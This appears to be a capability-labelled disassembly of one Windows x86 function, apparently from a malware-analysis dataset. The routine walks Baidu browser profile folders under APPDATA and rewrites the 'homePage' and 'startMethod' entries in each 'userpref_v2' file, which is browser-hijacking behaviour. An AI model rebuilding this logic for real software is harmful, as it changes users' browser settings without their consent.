Function at 0x4326e0
Capabilities:
Check if file exists
Enumerate files on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49aa7d
mov eax, dword fs:[0]
push eax
mov eax, 0x104d8
call fcn.00482af0
mov eax, dword [0x4c56f0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
push 0x104
lea ecx, [ebp - 0x11c]
push ecx
push str.APPDATA
mov dword [ebp - 0x10434], eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ebx, ebx
mov dword [ebp - 0x248], 0xf
mov dword [ebp - 0x24c], ebx
mov byte [ebp - 0x25c], bl
lea eax, [ebp - 0x11c]
mov dword [ebp - 4], ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x432756
sub eax, edx
push eax
lea edx, [ebp - 0x11c]
push edx
lea ecx, [ebp - 0x25c]
call fcn.0040d510
push 0x17
push str.Baidu_browserUserData
lea ecx, [ebp - 0x25c]
call fcn.0040d510
mov eax, dword [ebp - 0x25c]
mov edi, 0x10
cmp dword [ebp - 0x248], edi
jae 0x43279d
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4329d2
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x248], edi
jae 0x4327c0
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x224]
push 0x104
push eax
call fcn.004726f8
add esp, 0xc
push str..
lea ecx, [ebp - 0x224]
push 0x104
push ecx
call fcn.00472757
add esp, 0xc
lea edx, [ebp - 0x3d4]
push edx
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10420], eax
cmp eax, 0xffffffff
je 0x4329d2
test byte [ebp - 0x3d4], 0x10
je 0x4329b6
cmp byte [ebp - 0x3a8], 0x2e
je 0x4329b6
mov dword [ebp - 0x22c], 0xf
mov dword [ebp - 0x230], ebx
mov byte [ebp - 0x240], bl
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x25c]
cmp dword [ebp - 0x248], edi
jae 0x432859
lea edx, [ebp - 0x25c]
mov eax, edx
lea esi, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x432860
sub eax, esi
push eax
push edx
lea ecx, [ebp - 0x240]
call fcn.0040d510
push 1
push 0x4a52f4
lea ecx, [ebp - 0x240]
call fcn.0040d510
lea eax, [ebp - 0x3a8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x432891
sub eax, edx
push eax
lea edx, [ebp - 0x3a8]
push edx
lea ecx, [ebp - 0x240]
call fcn.0040d510
push 0xc
push str.userpref_v2
lea ecx, [ebp - 0x240]
call fcn.0040d510
mov ecx, dword [ebp - 0x240]
cmp dword [ebp - 0x22c], edi
jae 0x4328d3
lea ecx, [ebp - 0x240]
lea edi, [ebp - 0x10430]
call fcn.00434690
lea eax, [ebp - 0x103e0]
mov dword [ebp - 0x103ec], eax
neg eax
and eax, 3
lea ecx, [ebp + eax - 0x103e0]
lea edx, [ebp - 0x3e0]
mov dword [ebp - 0x1041c], ebx
mov dword [ebp - 0x10418], ebx
mov dword [ebp - 0x1040c], ebx
mov dword [ebp - 0x10408], ebx
mov dword [ebp - 0x10404], ebx
mov dword [ebp - 0x103fc], ebx
mov dword [ebp - 0x3e0], ebx
mov dword [ebp - 0x3dc], ebx
mov dword [ebp - 0x103e8], ecx
mov dword [ebp - 0x103e4], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x10430]
push eax
lea edi, [ebp - 0x1041c]
call fcn.00435d60
mov eax, dword [ebp - 0x10404]
mov dword [ebp - 0x10438], eax
cmp eax, ebx
jne 0x432a09
lea esi, [ebp - 0x103ec]
mov byte [ebp - 4], 2
call fcn.00435520
mov eax, dword [ebp - 0x10430]
cmp eax, ebx
je 0x432984
push eax
call fcn.0046ead2
add esp, 4
mov byte [ebp - 4], bl
cmp dword [ebp - 0x22c], 0x10
mov dword [ebp - 0x10430], ebx
mov dword [ebp - 0x1042c], ebx
mov dword [ebp - 0x10428], ebx
jb 0x4329b1
mov ecx, dword [ebp - 0x240]
push ecx
call fcn.0046ead2
add esp, 4
mov edi, 0x10
mov eax, dword [ebp - 0x10420]
lea edx, [ebp - 0x3d4]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x432811
cmp dword [ebp - 0x248], edi
jb 0x4329e9
mov ecx, dword [ebp - 0x25c]
push ecx
call fcn.0046ead2
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046eadd
mov esp, ebp
pop ebp
ret 4
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x10420], esi
cmp esi, ebx
je 0x432bf5
jmp 0x432a26
mov esi, dword [ebp - 0x10420]
push esi
mov ebx, 0x4a6a98
call fcn.004348f0
mov eax, dword [eax + 4]
test eax, eax
jne 0x432a3d
mov eax, 0x4d67b0
push str.homePage
push eax
call fcn.0046efff
add esp, 8
push esi
test eax, eax
jne 0x432b4d
mov ebx, str.value
call fcn.004348f0
test eax, eax
je 0x432a6b
mov edi, eax
mov eax, esi
call fcn.00434a50
lea ecx, [ebp - 0x103ec]
push ecx
mov eax, str.value
call fcn.00434b50
mov edx, dword [ebp - 0x10434]
push edx
mov edi, eax
lea eax, [ebp - 0x294]
push 0x4a6aa8
push eax
call fcn.0042d030
add esp, 0xc
push 0x4a6aa4
push eax
lea ecx, [ebp - 0x278]
push ecx
mov byte [ebp - 4], 4
call fcn.00415770
add esp, 0xc
mov ebx, 0x10
mov byte [ebp - 4], 5
cmp dword [eax + 0x14], ebx
jb 0x432ac2
mov eax, dword [eax]
push eax
push ebx
push 5
mov ecx, str.homePage
call fcn.00433fc0
lea edx, [ebp - 0x103ec]
push edx
call fcn.00434b50
mov esi, eax
cmp dword [ebp - 0x264], ebx
jb 0x432af5
mov eax, dword [ebp - 0x278]
push eax
call fcn.0046ead2
add esp, 4
mov byte [ebp - 4], 3
mov dword [ebp - 0x264], 0xf
mov dword [ebp - 0x268], 0
mov byte [ebp - 0x278], 0
cmp dword [ebp - 0x280], ebx
jb 0x432b2b
mov ecx, dword [ebp - 0x294]
push ecx
call fcn.0046ead2
add esp, 4
mov dword [ebp - 0x280], 0xf
mov dword [ebp - 0x284], 0
mov byte [ebp - 0x294], 0
mov ebx, esi
jmp 0x432bc1
mov ebx, 0x4a6a98
call fcn.004348f0
mov eax, dword [eax + 4]
test eax, eax
jne 0x432b63
mov eax, 0x4d67b0
push str.startMethod
push eax
call fcn.0046efff
add esp, 8
test eax, eax
jne 0x432bdb
push esi
mov ebx, str.value
call fcn.004348f0
test eax, eax
je 0x432b8d
mov edi, eax
mov eax, esi
call fcn.00434a50
lea edx, [ebp - 0x103ec]
push edx
mov eax, str.value
call fcn.00434b50
push str.23456789EFGHIJKLNOPQRTUVWXYZ
push 0x16
push 2
mov ecx, str.startMethod
mov edi, eax
call fcn.00433fc0
lea ecx, [ebp - 0x103ec]
push ecx
call fcn.00434b50
mov ebx, eax
lea esi, [ebp - 0x103ec]
call fcn.00434b00
mov edi, dword [ebp - 0x10420]
mov esi, eax
call fcn.004349f0
mov esi, edi
mov ebx, str.Item
mov eax, esi
call fcn.00434850
mov dword [ebp - 0x10420], eax
test eax, eax
jne 0x432a20
lea edx, [ebp - 0x103ec]
push edx
mov eax, str.xml_version_1.0__encoding_utf_8_
call fcn.00434b50
push 7
mov edi, eax
lea esi, [ebp - 0x103ec]
call fcn.00434ab0
mov ebx, dword [ebp - 0x10438]
lea ecx, [ebp - 0x1041c]
call fcn.00434970
cmp dword [ebp - 0x22c], 0x10
mov eax, dword [ebp - 0x240]
jae 0x432c3b
lea eax, [ebp - 0x240]
push eax
lea eax, [ebp - 0x104e4]
push eax
call fcn.0040fde0
lea ecx, [ebp - 0x104e4]
push ecx
xor eax, eax
push eax
xor ebx, ebx
push ebx
xor ecx, ecx
lea eax, [ebp - 0x1041c]
lea edi, [ebp - 0x1043c]
mov byte [ebp - 4], 6
call fcn.00436ca0
add esp, 0xc
lea esi, [ebp - 0x104e4]
call fcn.00434660
lea ecx, [ebp - 0x10484]
mov byte [ebp - 4], 3
call fcn.0040ff30
lea ecx, [ebp - 0x10484]
push ecx
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0046d124
add esp, 4
lea esi, [ebp - 0x103ec]
mov byte [ebp - 4], 2
call fcn.00435520
mov eax, dword [ebp - 0x10430]
cmp eax, ebx
je 0x432cc4
push eax
call fcn.0046ead2
add esp, 4
mov esi, 0x10
mov dword [ebp - 0x10430], ebx
mov dword [ebp - 0x1042c], ebx
mov dword [ebp - 0x10428], ebx
cmp dword [ebp - 0x22c], esi
jb 0x432cf2
mov edx, dword [ebp - 0x240]
push edx
call fcn.0046ead2
add esp, 4
mov dword [ebp - 0x22c], 0xf
mov dword [ebp - 0x230], ebx
mov byte [ebp - 0x240], bl
cmp dword [ebp - 0x248], esi
jb 0x432d1f
mov eax, dword [ebp - 0x25c]
push eax
call fcn.0046ead2
add esp, 4
mov al, 1
jmp 0x4329eb